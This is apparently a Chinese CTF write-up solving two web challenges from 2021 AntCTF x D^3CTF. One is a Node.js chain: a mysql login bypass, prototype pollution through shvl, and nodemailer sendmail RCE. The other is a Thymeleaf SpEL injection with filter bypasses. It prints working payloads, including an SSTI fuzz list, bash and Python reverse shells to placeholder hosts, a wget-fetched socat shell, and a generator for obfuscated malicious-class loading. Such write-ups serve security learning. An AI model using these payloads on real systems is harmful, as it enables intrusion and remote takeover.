2021 AntCTF x D^3CTF

2021 AntCTF x D^3CTF

前言

一杯(奶)茶,不抽烟,一道ctf做一天。

周末还是花了2天的时间,打了下ant^d3ctf。web题好像只有java和nodejs.(java太好玩了。

8-bit pub

这个题解的人最多,29个队出了。

代码审计

拿到源码之后,就开始了简单的审计。是用express框架,功能点简单来说就是管理员可以发送邮件。

拿到源码先用了下npm audit查一下目前依赖中,是否存在漏洞,很好的是:一个也没有,之后便看了下route

路由

可以看到,admin的两个路由都是有鉴权的(nodejs基于route的框架,感觉鉴权挺严格的,基本上不能通过什么奇技淫巧去绕。不让next就不能next

根据提示来看,是让我们rce

rce

所以还是把想法放到了依赖中。

1
2
3
4
5
6
7
8
9
10
"dependencies": {
"cookie-parser": "~1.4.4",
"express": "^4.16.4",
"express-session": "^1.17.1",
"http-errors": "~1.6.3",
"mysql": "^2.18.1",
"nodemailer": "^6.4.18",
"session-file-store": "^1.5.0",
"shvl": "^2.0.2"
}

这里我们看样看到最主要的功能便是发送邮件,所以搜了下nodemailer的历史漏洞。好巧不巧可以找到,之前这个nodemailer是存在一个命令注入的,所以rce的点自然是放到了这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let auth = function (req, res, next) {
if (!req.session.username) {
return res.redirect(302, "/");
}
if (req.session.username !== "admin") {
if (req.method === "GET") {
return res.sendView("forbidden.html");
} else {
return res.json({ message: "Forbidden." });
}
}
next();
};

module.exports = auth;

但是由于鉴权很严,如果session.username!='admin'就无法进入next所以,只能先尝试获取管理员身份。

那么审视下来,只能老老实实通过登录账号去获取权限,但是admin账号已经存在,所以只能换一种思路,尝试预处理sql注入。

万能密码

这里我们先看下user.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const sql = require("../utils/db.js");

module.exports = {
signup: function (username, password, done) {
sql.query(
"SELECT * FROM users WHERE username = ?",
[username],
function (err, res) {
if (err) {
console.log("error: ", err);
return done(err, null);
}
if (!res.length) {
sql.query(
"INSERT INTO users VALUES (?, ?)",
[username, password],
function (err, res) {
if (err) {
console.log("error: ", err);
return done(err, null);
} else {
return done(null, res.insertId);
}
}
);
} else {
return done({
message: "Username already taken."
}, null);
}
});
},

signin: function (username, password, done) {
sql.query(
"SELECT * FROM users WHERE username = ? AND password = ?",
[username, password],
function (err, res) {
if (err) {
console.log("error: ", err);
return done(err, null);
} else {
return done(null, res);
}
}
);
},
};

不难看到,这里都是使用预处理来解决sql注入的问题。一开始,我确实没有怎么在意这个点,但是之后找了下资料发现。有一个报错引起了我的注意

nodejs应用中的权限绕过漏洞—一个赏金漏洞的故事 - 先知社区 (aliyun.com)

诶,这就说明这里确实存在漏洞,并且很有可能可以利用这个来登录管理员的账号密码。于是经过一番尝试,只用如下payload便可以登录管理员账号。

1
{"username":"admin","password":{"username":0}}

登录admin账号

这里稍微解释下这个原理吧,也不一定完全正确(没看源码。

1
select * from user where username = 'admin' and password = `username` = 0

这里其实重点在

1
password = `username` = 0

我们一步一步来,查分这个过程,首先执行

1
2
3
`username` = 0  // 结果肯定是false的
原sql语句=>
select * from user where username = 'admin' and password = 0(代表false)

我们都知道select 'mrkaixin' = 0;结果肯定是true,这是因为在mysql中所有的字符串其实都是为0的。自然可以查到所对应的数据。那么安全的代码肯定是要将password和我们输入的值作比较,源代码中是没有这一步的,所以便产生了漏洞。

可以看到没有做任何比较

好了,到这里我们就拥有了管理员的身份

原型链污染

这里我们可以看到adminController中的详细代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const send = require("../utils/mail");
const shvl = require("shvl");

module.exports = {
home: function (req, res) {
return res.sendView("admin.html");
},

email: async function (req, res) {
let contents = {};

Object.keys(req.body).forEach((key) => {
shvl.set(contents, key, req.body[key]);
});

contents.from = '"admin" <admin@8-bit.pub>';

try {
await send(contents);
return res.json({message: "Success."});
} catch (err) {
return res.status(500).json({ message: err.message });
}
},
};

好巧不巧,这里用到了一个很特殊的库shvl这个库的作用就是去将字符串的值,经过解析之后,赋值给一个对象。恰好呢,这个依赖之前也出现过原型链污染,所以这里肯定就是他了,而且看到

1
2
3
Object.keys(req.body).forEach((key) => {
shvl.set(contents, key, req.body[key]);
});

这肯定就是漏洞点了,先去github中找了下修复情况

漏洞发现者提出的pr

但是好巧不巧,这个作者认为呀,__proto__就够了,所以我们可以看下源码里是怎么修复的。

很好

好巧不巧的是,作者这里直接使用正则过滤了__proto__。所以只要能绕过,那么还是可以污染的,所以这里自然想到其他的污染的方法。经过尝试,以下demo便可以绕过

1
2
3
4
5
6
7
8
const shvl = require('shvl');
var obj = {}
console.log("Before : " + obj.isAdmin);
shvl.set(obj, 'constructor.prototype.isAdmin', true);
console.log("After : " + obj.isAdmin);

Before : undefined
After : true

很好,原型链污染也有了,那么属性就随我们控制了,接着审一下nodemailer

prototype pollution to rce

看了多案例之后,发现基本上审计的思路有两点

  1. evalnew Function
  2. 找可以直接执行系统命令的点:child_processspawn

这里打比赛的时候,思维很局限,一直尝试找第一种情况,而这次的比赛恰巧是第二种情况。经过一番审计最终在lib/sendmail-transport/index.js中找到了可以执行命令的点。

image-20210307211535385

这里的this.path便是我们利用的点。回溯跟踪一下变量,可以看到this.path = option.path

option

参数部分是通过

传入参数

接着往回推

sendmail

重点便是三个红框,这里可以看到首先要满足options.sendmail == true才能接着往下走。不用进第二个红框,不然无法发送邮件。最后便来到了mail.js

调用方法

所以这里已经非常清晰了。我们需要污染的参数sendmail==true,path==commandargs=params.最终payload如下:

1
2
3
4
5
6
7
8
{"to":"mrkaixin@vip.qq.com","text":"Goodday!", 
"subject":"123",
"constructor.prototype.sendmail":true,
"constructor.prototype.path":"sh",
"constructor.prototype.args":[
"-c",
"/readflag>/tmp/mrkaixin.txt"
]}

最后通过附件的形式发送回来即可。

污染attachments

附件flag

Happy_Valentine’s_Day

这题其实并没有做出来,还剩下最后的提权,而且做法比较复杂,在构造payload的时候便花费了很多时间。打完比赛交流之后,发现@P3rh4ps师傅,用的非预期(我服了,p3_yyds

spel表达式+thymeleaf

这题一开始找漏洞就花了我很长时间。不难判断这个就是spring框架,并且给的功能点非常的少,只有一个输入用户名和密码的地方,并且在lovef12可以看到有提示

/1nt3na1_pr3v13w

并且还有一个下载的功能点,但是并不能任意文件下载。所以这条路也走不通。

这里只能吧目光放到,可以控制的点,那就是一开始的输入用户名和密码的地方。输入完用户名和密码后,发现再次进入/1nt3na1_pr3v13w可以发现我们的用户名被渲染到了这里面,自然想到是不是存在ssti或者是spel表达式注入

直接渲染进页面

这里一开始通过fuzz尝试判断注入点,这里丢上一个简单的字典。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

跑完一遍发现,回显无疑是以下两种,都是用户名处的回显,密码基本上没有任何作用。

java.lang被ban了

Success

接下来就是漫长的尝试,因为发现比如一个最简单的spel表达式:#{7*7},都无法正常渲染

关于spel表达式这里有很多用法

spring-framework/core-expressions.adoc at master · spring-projects/spring-framework)

无法渲染

所以这里花了很久的时间,最终发现[[7*7]]或者是[(7*7)],这里其实是Thymeleaf的表达式,利用这种方式来获取里面的值。

成功ssti

有关ssti总结可以看下这个一个个测下来基本上还是可以的

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

thymeleaf中是默认支持ogmlspel的。但是要根据实际情况来使用,像是题目这种,过滤掉了很多东西,比如

1
2
3
4
5
6
7
8
java.lang
Runtime
ProcessBuilder
单双引号
forName (反射)
getMethod
new
T()

非预期bypass

这样的话如果使用ogml肯定是不方便的,所以这里选择spel作为接下来攻击方式。spel绕过的方式可以说是很多了比如:

1
2
3
4
java%00.lang
T%00()

New

这里就是用这两种便可以绕过很多的限制,可以让我们使用java.lang的类了。但是这里其实是存在非预期的,不知道是不是出题人正则没写好。可以通过简单的一个%0a就可以绕过所有的限制。

%0a轻松绕过

由于只要换行符就可以绕过所有正则,那么题目就变得无比的简单了。

1
name=[[${T(java.lang.Runtime).getRuntime().exec(new+String[]{"bash","-c","bash+-i+>%26+/dev/tcp/ip/port+0>%261"})}]]

换行符

弹到shell

剩下的就不会了,尝试了suid提权,sudo提权效果都不好。

在复现的时候,发现shellctrl+c一下就断了,很不方便,所以参照这篇文章,弹了个shell

Upgrading Simple Shells to Fully Interactive TTYs - ropnop blog

1
2
3
4
5
拿socat
cd /tmp;wget ip:port/socat;chmod +x /tmp/socat;/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:port

本地监听
./socat file:`tty`,raw,echo=0 tcp-listen:4444

加载恶意类

这个方法是我采用的方法,也能弹到shell。但是过程整个过程非常的繁琐,之后写好脚本了还是可以的。采用的是下面文章的方法

LandGrey’s Blog

1
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())

就是直接利用这个来加载我们的恶意类的字节码,然后把我们要执行的命令放置在static代码块中。

既然是把我们的恶意类加载到spring中,然后执行我们的反弹shell的指令,所以如果shell一旦断开了,那么就需要改类名然后重新构造payload。所以为了方便起见,写了个自动构造payload的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.sun.org.apache.xml.internal.security.utils.Base64;

import java.io.*;
import java.util.Formatter;

public class code {
public static void main(String[] args) throws Exception {
mrkaixin_exp2 exp = new mrkaixin_exp2();
String name = exp.getClass().getName();
System.out.println("className: "+name);
String classFile = Base64.encode(readFile(name + ".class")).replaceAll("\r|\n", "");
System.out.println("classFile base64: " + classFile);

Formatter formatter = new Formatter();
String res = formatter.format("T%%00(org%%00.springframework.cglib.core.ReflectUtils).defineClass(%s,T%%00(com.sun.org.apache.xml.internal.security.utils.Base64).decode(%s),T%%00(org%%00.springframework.util.ClassUtils).getDefaultClassLoader())", make(name),make(classFile)).toString();

System.out.printf("[[${%s}]]", res);
}

public static byte[] readFile(String path) throws Exception {
final InputStream in = code.class.getClassLoader().getResourceAsStream(path);
if (in == null) {
throw new IOException("couldn't find '" + path + "'");
}
final byte[] buffer = new byte[1024];
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
}

public static String make(String target) {

String formatString = "T%%00(java%%00.lang.System).lineSeparator().valueOf(T%%00(java%%00.lang.Character).toChars(%d))";
StringBuilder ret = new StringBuilder();
int flag = 0;
for (char c : target.toCharArray()) {
StringBuilder sb = new StringBuilder();
Formatter formatter = new Formatter(sb);
if (flag == 0) {
ret.append(formatter.format(formatString, (int) c).toString());
flag = 1;
} else {
String temp = "%2b" + formatter.format(formatString, (int) c).toString();
ret.append(temp);
}
}
return ret.toString();
}
}

在脚本中不难看到,我使用了很多的%00为了去绕过他的正则,从而拿到被过滤的对象,那么如何绕过单双引号了,重点就是

1
T%%00(java%%00.lang.System).lineSeparator().valueOf(T%%00(java%%00.lang.Character).toChars(%d))

在这个代码中,我们利用lineSeparator()获得了空字符串,然后利用其valueOf将Character.toChars返回的byte[]转成字符串,然后尝试字符串凭借,这里使用的是%2b => +因为concat被过滤了。

那么恶意类如下

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class mrkaixin_exp {
static {
System.out.println("static trigger success");
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","cd /tmp;wget ip:8000/socat;chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:4444"});
} catch (IOException e) {
}
}
}

这里要注意一点,由于Runtime返回的并不是一个真正的shell,所以不能够去尝试一些管道符,重定向符号,所以只能够先/bin/bash -c来先生成一个shell来执行命令。

shell

# 推荐文章

评论


:D 一言句子获取中...

加载中,最新评论有1分钟延迟...